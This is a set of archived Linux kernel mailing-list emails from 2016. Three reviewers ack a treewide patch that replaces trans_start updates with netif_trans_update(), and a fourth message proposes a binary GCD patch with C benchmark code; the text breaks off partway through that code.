Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:88214 gmane.linux.network:411063 gmane.linux.ports.arm.omap:135536 gmane.linux.scsi:113496 gmane.linux.uml.devel:15864 gmane.linux.drivers.rdma:36259 gmane.linux.kernel.wireless.general:151773 gmane.linux.usb.general:141377 gmane.linux.can:9306 gmane.linux.bluez.kernel:67483 gmane.linux.ports.parisc:26753 gmane.org.freifunk.batman:14983 gmane.linux.hams:7349 gmane.linux.kernel.firewire.devel:17503
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/88214>

--===============0612351183774410813==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha1; protocol="application/pgp-signature"

--=-=-=
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable


Hi,

Florian Westphal <fw@strlen.de> writes:
> Replace all trans_start updates with netif_trans_update helper.
> change was done via spatch:
>
> struct net_device *d;
> @@
> - d->trans_start =3D jiffies
> + netif_trans_update(d)
>
> Compile tested only.
>
> Cc: user-mode-linux-devel@lists.sourceforge.net
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux1394-devel@lists.sourceforge.net
> Cc: linux-rdma@vger.kernel.org
> Cc: netdev@vger.kernel.org
> Cc: MPT-FusionLinux.pdl@broadcom.com
> Cc: linux-scsi@vger.kernel.org
> Cc: linux-can@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-omap@vger.kernel.org
> Cc: linux-hams@vger.kernel.org
> Cc: linux-usb@vger.kernel.org
> Cc: linux-wireless@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: devel@driverdev.osuosl.org
> Cc: b.a.t.m.a.n@lists.open-mesh.org
> Cc: linux-bluetooth@vger.kernel.org
> Signed-off-by: Florian Westphal <fw@strlen.de>
> ---

for u_ether.c:

Acked-by: Felipe Balbi <felipe.balbi@linux.intel.com>

> diff --git a/drivers/usb/gadget/function/u_ether.c b/drivers/usb/gadget/f=
unction/u_ether.c
> index 637809e..a3f7e7c 100644
> --- a/drivers/usb/gadget/function/u_ether.c
> +++ b/drivers/usb/gadget/function/u_ether.c
> @@ -597,7 +597,7 @@ static netdev_tx_t eth_start_xmit(struct sk_buff *skb,
>  		DBG(dev, "tx queue err %d\n", retval);
>  		break;
>  	case 0:
> -		net->trans_start =3D jiffies;
> +		netif_trans_update(net);
>  		atomic_inc(&dev->tx_qlen);
>  	}

=2D-=20
balbi

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJXKa91AAoJEIaOsuA1yqREa0UP/35SFn4ZofIoB65PTj1xg8X/
n7p9jjvrvEml10E4POQ/ZKeKzNBobiZfTvPVQ5fJ3DeaxYRMFNldcoNvv3XLHgb1
J/A6NNdCBYPMo7cc/67RCJKC+NEMbplqQSrLyCL4N8KDaR0ToDvFOhDW5ENtYAFR
+hHewPpprXHex8FPax3PMuuNCRkV/hz3PxCXnF+1h5nKD3hsXZwzQQAVC4OkWkzo
f9pAczgygfMWpsdOK4lBqAf82sK9P/bOJoE7ag/6zJ3E8EvmiB2oqtBzWzpdpWgL
JAZ4O8g2q2eV+vXK8ZqMt/yUwdS+V0ouR+iReYAATahEXzu0XPRZSHwmL0qKbl/D
RN4cVtSHl9cYltkxEMUSNUWZhGDaAyOiYbWWXwDQvus915p5Nq41v2VJailJBQD0
w+K4gJAw+0igWKgvq1M/JwoJftk9cA75Dw18f+6T6j/e78k0ZCnj1F4WHjWAIAAm
b54FVVjKATCK8/vIl73vtUpgdAzYeue3mwfd+PP5UfMXRpcEZU2icEyvHgyvbU5U
ChlCb1NRYIJ01e+J5Ov/Xd6+Pln8EwV4W4imFjzcsLNjiVU0OumWVqFqPtlDd4tq
5rKSXFa4XdaMA0CAM48AjdQmE3ta+xFFe+Q0GqVTMgyc4QOvSmZuWmsdfTmgyqC+
DjWMdryqMVHstUt2mUPA
=NJVp
-----END PGP SIGNATURE-----
--=-=-=--

--===============0612351183774410813==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
devel mailing list
devel@linuxdriverproject.org
http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel

--===============0612351183774410813==--


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mugunthan V N <mugunthanvnm@ti.com>
Newsgroups: gmane.linux.can,gmane.linux.network,gmane.linux.uml.devel,gmane.linux.kernel.firewire.devel,gmane.linux.drivers.rdma,gmane.linux.scsi,gmane.linux.ports.parisc,gmane.linux.ports.arm.omap,gmane.linux.hams,gmane.linux.usb.general,gmane.linux.kernel.wireless.general,gmane.org.freifunk.batman,gmane.linux.bluez.kernel
Subject: Re: [PATCH net-next 4/5] treewide: replace dev->trans_start update
 with helper
Date: Wed, 4 May 2016 17:03:01 +0530
Lines: 59
Approved: news@gmane.org
Message-ID: <5729DDED.6030106@ti.com>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
 <1462285994-31983-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462361625 28131 80.91.229.3 (4 May 2016 11:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 May 2016 11:33:45 +0000 (UTC)
Cc: <user-mode-linux-devel@lists.sourceforge.net>,
	<linux-xtensa@linux-xtensa.org>,
	<linux1394-devel@lists.sourceforge.net>,
	<linux-rdma@vger.kernel.org>, <MPT-FusionLinux.pdl@broadcom.com>,
	<linux-scsi@vger.kernel.org>, <linux-can@vger.kernel.org>,
	<linux-parisc@vger.kernel.org>, <linux-omap@vger.kernel.org>,
	<linux-hams@vger.kernel.org>, <linux-usb@vger.kernel.org>,
	<linux-wireless@vger.kernel.org>, <linux-s390@vger.kernel.org>,
	<devel@driverdev.osuosl.org>, <b.a.t.m.a.n@lists.open-mesh.org>,
	<linux-bluetooth@vger.kernel.org>
To: Florian Westphal <fw@strlen.de>, <netdev@vger.kernel.org>
Original-X-From: linux-can-owner@vger.kernel.org Wed May 04 13:33:38 2016
Return-path: <linux-can-owner@vger.kernel.org>
Envelope-to: glc-linux-can2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-can-owner@vger.kernel.org>)
	id 1axv3h-0007qq-QF
	for glc-linux-can2@plane.gmane.org; Wed, 04 May 2016 13:33:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752048AbcEDLdg (ORCPT <rfc822;glc-linux-can2@m.gmane.org>);
	Wed, 4 May 2016 07:33:36 -0400
Original-Received: from arroyo.ext.ti.com ([192.94.94.40]:46445 "EHLO arroyo.ext.ti.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751749AbcEDLdf (ORCPT <rfc822;linux-can@vger.kernel.org>);
	Wed, 4 May 2016 07:33:35 -0400
Original-Received: from dlelxv90.itg.ti.com ([172.17.2.17])
	by arroyo.ext.ti.com (8.13.7/8.13.7) with ESMTP id u44BX8bB002616;
	Wed, 4 May 2016 06:33:08 -0500
Original-Received: from DFLE72.ent.ti.com (dfle72.ent.ti.com [128.247.5.109])
	by dlelxv90.itg.ti.com (8.14.3/8.13.8) with ESMTP id u44BX8QE006734;
	Wed, 4 May 2016 06:33:08 -0500
Original-Received: from dflp32.itg.ti.com (10.64.6.15) by DFLE72.ent.ti.com
 (128.247.5.109) with Microsoft SMTP Server id 14.3.224.2; Wed, 4 May 2016
 06:33:07 -0500
Original-Received: from [172.24.190.135] (ileax41-snat.itg.ti.com [10.172.224.153])	by
 dflp32.itg.ti.com (8.14.3/8.13.8) with ESMTP id u44BX14G004530;	Wed, 4 May
 2016 06:33:02 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.2
In-Reply-To: <1462285994-31983-1-git-send-email-fw@strlen.de>
Original-Sender: linux-can-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-can.vger.kernel.org>
X-Mailing-List: linux-can@vger.kernel.org
Xref: news.gmane.org gmane.linux.can:9307 gmane.linux.network:411076 gmane.linux.uml.devel:15865 gmane.linux.kernel.firewire.devel:17504 gmane.linux.drivers.rdma:36262 gmane.linux.scsi:113500 gmane.linux.ports.parisc:26754 gmane.linux.ports.arm.omap:135542 gmane.linux.hams:7350 gmane.linux.usb.general:141390 gmane.linux.kernel.wireless.general:151775 gmane.org.freifunk.batman:14984 gmane.linux.bluez.kernel:67486
Archived-At: <http://permalink.gmane.org/gmane.linux.can/9307>

On Tuesday 03 May 2016 08:03 PM, Florian Westphal wrote:
> Replace all trans_start updates with netif_trans_update helper.
> change was done via spatch:
> 
> struct net_device *d;
> @@
> - d->trans_start = jiffies
> + netif_trans_update(d)
> 
> Compile tested only.
> 
> Cc: user-mode-linux-devel@lists.sourceforge.net
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux1394-devel@lists.sourceforge.net
> Cc: linux-rdma@vger.kernel.org
> Cc: netdev@vger.kernel.org
> Cc: MPT-FusionLinux.pdl@broadcom.com
> Cc: linux-scsi@vger.kernel.org
> Cc: linux-can@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-omap@vger.kernel.org
> Cc: linux-hams@vger.kernel.org
> Cc: linux-usb@vger.kernel.org
> Cc: linux-wireless@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: devel@driverdev.osuosl.org
> Cc: b.a.t.m.a.n@lists.open-mesh.org
> Cc: linux-bluetooth@vger.kernel.org
> Signed-off-by: Florian Westphal <fw@strlen.de>
> ---

snip...


> diff --git a/drivers/net/ethernet/ti/cpsw.c b/drivers/net/ethernet/ti/cpsw.c
> index 0fa75a8..3d4662d 100644
> --- a/drivers/net/ethernet/ti/cpsw.c
> +++ b/drivers/net/ethernet/ti/cpsw.c
> @@ -1381,7 +1381,7 @@ static netdev_tx_t cpsw_ndo_start_xmit(struct sk_buff *skb,
>  	struct cpsw_priv *priv = netdev_priv(ndev);
>  	int ret;
>  
> -	ndev->trans_start = jiffies;
> +	netif_trans_update(ndev);
>  
>  	if (skb_padto(skb, CPSW_MIN_PACKET_SIZE)) {
>  		cpsw_err(priv, tx_err, "packet pad failed\n");

for cpsw

Acked-by: Mugunthan V N <mugunthanvnm@ti.com>

Regards
Mugunthan V N
--
To unsubscribe from this list: send the line "unsubscribe linux-can" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Antonio Quartulli <a@unstable.cc>
Newsgroups: gmane.linux.can,gmane.linux.network,gmane.linux.uml.devel,gmane.linux.kernel.firewire.devel,gmane.linux.drivers.rdma,gmane.linux.scsi,gmane.linux.ports.parisc,gmane.linux.ports.arm.omap,gmane.linux.hams,gmane.linux.usb.general,gmane.linux.kernel.wireless.general,gmane.org.freifunk.batman,gmane.linux.bluez.kernel
Subject: Re: [PATCH net-next 4/5] treewide: replace dev->trans_start update
 with helper
Date: Thu, 5 May 2016 01:20:42 +0800
Lines: 92
Approved: news@gmane.org
Message-ID: <20160504172042.GH11201@prodigo.lan>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
 <1462285994-31983-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="hEk4XxIzAisM6naS"
X-Trace: ger.gmane.org 1462382494 25246 80.91.229.3 (4 May 2016 17:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 May 2016 17:21:34 +0000 (UTC)
Cc: netdev@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-xtensa@linux-xtensa.org,
	linux1394-devel@lists.sourceforge.net, linux-rdma@vger.kernel.org,
	MPT-FusionLinux.pdl@broadcom.com, linux-scsi@vger.kernel.org,
	linux-can@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-omap@vger.kernel.org, linux-hams@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-wireless@vger.kernel.org,
	linux-s390@vger.kernel.org, devel@driverdev.osuosl.org,
	b.a.t.m.a.n@lists.open-mesh.org, linux-bluetooth@vger.kernel.org
To: Florian Westphal <fw@strlen.de>
Original-X-From: linux-can-owner@vger.kernel.org Wed May 04 19:21:32 2016
Return-path: <linux-can-owner@vger.kernel.org>
Envelope-to: glc-linux-can2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-can-owner@vger.kernel.org>)
	id 1ay0UM-0005SB-2o
	for glc-linux-can2@plane.gmane.org; Wed, 04 May 2016 19:21:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752805AbcEDRV1 (ORCPT <rfc822;glc-linux-can2@m.gmane.org>);
	Wed, 4 May 2016 13:21:27 -0400
Original-Received: from s2.neomailbox.net ([5.148.176.60]:39957 "EHLO s2.neomailbox.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752759AbcEDRV0 (ORCPT <rfc822;linux-can@vger.kernel.org>);
	Wed, 4 May 2016 13:21:26 -0400
Content-Disposition: inline
In-Reply-To: <1462285994-31983-1-git-send-email-fw@strlen.de>
Original-Sender: linux-can-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-can.vger.kernel.org>
X-Mailing-List: linux-can@vger.kernel.org
Xref: news.gmane.org gmane.linux.can:9308 gmane.linux.network:411164 gmane.linux.uml.devel:15866 gmane.linux.kernel.firewire.devel:17505 gmane.linux.drivers.rdma:36319 gmane.linux.scsi:113503 gmane.linux.ports.parisc:26755 gmane.linux.ports.arm.omap:135566 gmane.linux.hams:7351 gmane.linux.usb.general:141422 gmane.linux.kernel.wireless.general:151782 gmane.org.freifunk.batman:14989 gmane.linux.bluez.kernel:67493
Archived-At: <http://permalink.gmane.org/gmane.linux.can/9308>


--hEk4XxIzAisM6naS
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, May 03, 2016 at 04:33:13PM +0200, Florian Westphal wrote:
> Replace all trans_start updates with netif_trans_update helper.
> change was done via spatch:
>=20
> struct net_device *d;
> @@
> - d->trans_start =3D jiffies
> + netif_trans_update(d)
>=20
> Compile tested only.
>=20
> Cc: user-mode-linux-devel@lists.sourceforge.net
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux1394-devel@lists.sourceforge.net
> Cc: linux-rdma@vger.kernel.org
> Cc: netdev@vger.kernel.org
> Cc: MPT-FusionLinux.pdl@broadcom.com
> Cc: linux-scsi@vger.kernel.org
> Cc: linux-can@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-omap@vger.kernel.org
> Cc: linux-hams@vger.kernel.org
> Cc: linux-usb@vger.kernel.org
> Cc: linux-wireless@vger.kernel.org
> Cc: linux-s390@vger.kernel.org
> Cc: devel@driverdev.osuosl.org
> Cc: b.a.t.m.a.n@lists.open-mesh.org
> Cc: linux-bluetooth@vger.kernel.org
> Signed-off-by: Florian Westphal <fw@strlen.de>
> ---

[...]

>  net/batman-adv/soft-interface.c                        | 2 +-

[...]

> diff --git a/net/batman-adv/soft-interface.c b/net/batman-adv/soft-interf=
ace.c
> index 0710379..bae1397 100644
> --- a/net/batman-adv/soft-interface.c
> +++ b/net/batman-adv/soft-interface.c
> @@ -208,7 +208,7 @@ static int batadv_interface_tx(struct sk_buff *skb,
>  	if (atomic_read(&bat_priv->mesh_state) !=3D BATADV_MESH_ACTIVE)
>  		goto dropped;
> =20
> -	soft_iface->trans_start =3D jiffies;
> +	netif_trans_update(soft_iface);
>  	vid =3D batadv_get_vid(skb, 0);
>  	ethhdr =3D eth_hdr(skb);
> =20


Acked-by: Antonio Quartulli <a@unstable.cc>

--=20
Antonio Quartulli

--hEk4XxIzAisM6naS
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJXKi9qAAoJEJ4aZjxxc6bKdy0QAKpnm2haE6oZ01LtxQu1VfKB
Qer6rc7it+otFT8jIMkZ3Be9sL2++PZyMSivw0YZRQBHwv4vsauG8HeXUmnFGS9r
rTGv5P9Z0R1TrDTlZBXH0Pui6GIWlyKkxpRqqVu4q/xHmWH8Y2yLUXi/0BA5xB6L
3EPPoN/WyiCdZ/NGY8WJbuyF3H+UD0s8/YXLWbOGdzxZ4UgAJp5WPVr1QdvZ4Cl7
kqnB2g/KvHc6ruY9viT21FDjEdWvxTZlKYGbLJAQNyuM1IunThZQ/fOM82Rdtnj6
u46FixCz2AbHVnBZht+ODlnrypKj3jBdEXu1/YclguwBHzSnwdF2M7Wswpx38VZN
zkArU7t5LIZfiGqNpwXL0A7jovBRqI6FDJrynTKqJFjNTA/IZHwzZcWErXXp/4En
xD/9GPLK/Lr1dUY7vteYvIjzTq3YUfPsiRsMvdyhHlDU/KJWYPrJIjotjJgXCdcT
sLyCSGpSATmyZGhQW6BEkr3rm3y1fSOxQSD2Jmyv6sBXwaGSBpQzSalTgezUQjKm
GpARsJONS/PpV0PbIt660Of7OikWXgDOTR6z2Oe8tPt55D+UKoUHlfQU83dPm6m1
VW+3QZx2xue3jH05I8BeX6SKBVrtQfRh1nVi6xhkWgHaVahuh9BLgcPh2copDt/3
UB23coo6jv90cnkJg5FC
=6q9+
-----END PGP SIGNATURE-----

--hEk4XxIzAisM6naS--
--
To unsubscribe from this list: send the line "unsubscribe linux-can" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [patch V4] lib: GCD: Use binary GCD algorithm instead of Euclidean
Date: Fri,  6 May 2016 17:42:42 +0800
Lines: 803
Approved: news@gmane.org
Message-ID: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1462528243 1620 80.91.229.3 (6 May 2016 09:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 May 2016 09:50:43 +0000 (UTC)
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@arm.linux.org.uk>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        James Hogan <james.hogan@imgtec.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Ley Foon Tan <lftan@altera.com>,
        Jonas Bonn <jonas@southpole.se>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Chen Liqin <liqin.linux@gmail.com>,
        Lennox Wu <lennox.wu@gmail.com>, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps
To: akpm@linux-foundation.org, linux@horizon.com, peterz@infradead.org,
        jjuran@gmail.com, James.Bottomley@HansenPartnership.com,
        geert@linux-m68k.org, dalias@libc.org, sam@ravnborg.org,
        davem@davemloft.net
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 06 11:50:29 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aycOt-0003Fk-VH
	for sgi-linux-mips@gmane.org; Fri, 06 May 2016 11:50:24 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38196 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27027805AbcEFJuVOk-Pq (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 6 May 2016 11:50:21 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 06 May 2016 11:50:05 +0200 (CEST)
Original-Received: from m50-132.163.com ([123.125.50.132]:60100 "EHLO m50-132.163.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27027714AbcEFJuDZi5Hq (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 6 May 2016 11:50:03 +0200
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
        s=s110527; h=From:Subject:Date:Message-Id; bh=x/fD3aA2lg6tY/aDqM
        GwCGwEnbE/ilW9XNFRsHDtHmA=; b=g1/DVyas0Ud4n/MHcj61nLN7SEW/dj2Uc0
        Mgt7LvI/AdO+1ttkZhN/6QnI6xGIpc94u3fuxUZzX4mrc74CnA4SMjbYrtb/Kjjg
        Wu77NF6TKN37Ae1BRz6n5i3AYC/RVdI2dIrwkvHeRXEZM1uq6NBiEnj+RnGDWPHe
        MvbgWEje4=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
        by smtp2 (Coremail) with SMTP id DNGowADXQf6OZyxXUA2ECg--.15271S2;
        Fri, 06 May 2016 17:44:54 +0800 (CST)
X-Mailer: git-send-email 2.7.4
X-CM-TRANSID: DNGowADXQf6OZyxXUA2ECg--.15271S2
X-Coremail-Antispam: 1Uf129KBjvAXoW3ZF4kXryxGF1rGw1rtrW3GFg_yoW8Aw43Co
        Z7K3ZI9r4rA39xWw1rZF15G3yrXryjkr48ZryruwsxtFnxXF1agryjkFyDtryrJF1rKFn3
        CFs3Wr47tF4xAF97n29KB7ZKAUJUUUUU529EdanIXcx71UUUUU7v73VFW2AGmfu7bjvjm3
        AaLaJ3UbIYCTnIWIevJa73UjIFyTuYvjxUc75rUUUUU
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/xtbBDRZhgFaDm00YUwAAsy
X-archive-position: 53289
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: zengzhaoxiu@163.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:54450 gmane.linux.kernel:2216280 gmane.linux.ports.alpha:3720 gmane.linux.kernel.arc:993 gmane.linux.ports.arm.kernel:498091 gmane.linux.kernel.metag:1080 gmane.linux.ports.openrisc:716 gmane.linux.ports.parisc:26756 gmane.linux.ports.sh.devel:53994 gmane.linux.ports.sparc:22944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/54450>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

The binary GCD algorithm is based on the following facts:
	1. If a and b are all evens, then gcd(a,b) = 2 * gcd(a/2, b/2)
	2. If a is even and b is odd, then gcd(a,b) = gcd(a/2, b)
	3. If a and b are all odds, then gcd(a,b) = gcd((a-b)/2, b) = gcd((a+b)/2, b)

Even on x86 machines with reasonable division hardware, the binary
algorithm runs about 25% faster (80% the execution time) than the
division-based Euclidian algorithm.

On platforms like Alpha and ARMv6 where division is a function call to
emulation code, it's even more significant.

There are two variants of the code here, depending on whether a
fast __ffs (find least significant set bit) instruction is available.
This allows the unpredictable branches in the bit-at-a-time shifting
loop to be eliminated.

If fast __ffs is not available, the "even/odd" GCD variant is used.

I use the following code to benchmark:

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#include <string.h>
	#include <time.h>
	#include <unistd.h>

	#define swap(a, b) \
		do { \
			a ^= b; \
			b ^= a; \
			a ^= b; \
		} while (0)

	unsigned long gcd0(unsigned long a, unsigned long b)
	{
		unsigned long r;

		if (a < b) {
			swap(a, b);
		}

		if (b == 0)
			return a;

		while ((r = a % b) != 0) {
			a = b;
			b = r;
		}

		return b;
	}

	unsigned long gcd1(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		b >>= __builtin_ctzl(b);

		for (;;) {
			a >>= __builtin_ctzl(a);
			if (a == b)
				return a << __builtin_ctzl(r);

			if (a < b)
				swap(a, b);
			a -= b;
		}
	}

	unsigned long gcd2(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		r &= -r;

		while (!(b & r))
			b >>= 1;

		for (;;) {
			while (!(a & r))
				a >>= 1;
			if (a == b)
				return a;

			if (a < b)
				swap(a, b);
			a -= b;
			a >>= 1;
			if (a & r)
				a += b;
			a >>= 1;
		}
	}

	unsigned long gcd3(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		b >>= __builtin_ctzl(b);
		if (b == 1)
			return r & -r;

		for (;;) {
			a >>= __builtin_ctzl(a);
			if (a == 1)
				return r & -r;
			if (a == b)
				return a << __builtin_ctzl(r);

			if (a < b)
				swap(a, b);
			a -= b;
		}
	}

	unsigned long gcd4(unsigned long a, unsigned long b)
	{
		unsigned long r = a | b;

		if (!a || !b)
			return r;

		r &= -r;

		while (!(b & r))
			b >>= 1;
		if (b == r)
			return r;

		for (;;) {
			while (!(a & r))
				a >>= 1;
			if (a == r)
				return r;
			if (a == b)
				return a;

			if (a < b)
				swap(a, b);
			a -= b;
			a >>= 1;
			if (a & r)
				a += b;
			a >>= 1;
		}
	}

	static unsigned long (*gcd_func[])(unsigned long a, unsigned long b) = {
		gcd0, gcd1, gcd2, gcd3, gcd4,
	};

	#define TEST_ENTRIES (sizeof(gcd_func) / sizeof(gcd_func[0]))

	#if defined(__x86_64__)

	#define rdtscll(val) do { \
		unsigned long __a,__d; \
		__asm__ __volatile__("rdtsc" : "=a" (__a), "=d" (__d)); \
		(val) = ((unsigned long long)__a) | (((unsigned long long)__d)<<32); \
	} while(0)

	static unsigned long long benchmark_gcd_func(unsigned long (*gcd)(unsigned long, unsigned long),
								unsigned long a, unsigned long b, unsigned long *res)
	{
		unsigned long long start, end;
		unsigned long long ret;
		unsigned long gcd_res;

		rdtscll(start);
		gcd_res = gcd(a, b);
		rdtscll(end);

		if (end >= start)
			ret = end - start;
		else
			ret = ~0ULL - start + 1 + end;

		*res = gcd_res;
		return ret;
	}

	#else

	static inline struct timespec read_time(void)
	{
		struct timespec time;
		clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &time);
		return time;
	}

	static inline unsigned long long diff_time(struct timespec start, struct timespec end)
	{
		struct timespec temp;

		if ((end.tv_nsec - start.tv_nsec) < 0) {
			temp.tv_sec = end.tv_sec - start.tv_sec - 1;
			temp.tv_nsec = 1000000000ULL + end.tv_nsec - start.tv_nsec;
		} else {
			temp.tv_sec = end.tv_sec - start.tv_sec;
			temp.tv_nsec = end.tv_nsec - start.tv_nsec;
		}

		return temp.tv_sec * 1000000000ULL + temp.tv_nsec;
	}

	static unsigned long long benchmark_gcd_func(unsigned long (*gcd)(unsigned long, unsigned long),
								unsigned long a, unsigned long b, unsigned long *res)
	{
		struct timespec start, end;
		unsigned long gcd_res;

		start = read_time();
		gcd_res = gcd(a, b);
		end = read_time();

		*res = gcd_res;
		return diff_time(start, end);
	}

	#endif

	static inline unsigned long get_rand()
	{
		if (sizeof(long) == 8)
			return (unsigned long)rand() << 32 | rand();
		else
			return rand();
	}

	int main(int argc, char **argv)
	{
		unsigned int seed = time(0);
		int loops = 100;
		int repeats = 1000;
		unsigned long (*res)[TEST_ENTRIES];
		unsigned long long elapsed[TEST_ENTRIES];
		int i, j, k;

		for (;;) {
			int opt = getopt(argc, argv, "n:r:s:");
			/* End condition always first */
			if (opt == -1)
				break;

			switch (opt) {
			case 'n':
				loops = atoi(optarg);
				break;
			case 'r':
				repeats = atoi(optarg);
				break;
			case 's':
				seed = strtoul(optarg, NULL, 10);
				break;
			default:
				/* You won't actually get here. */
				break;
			}
		}

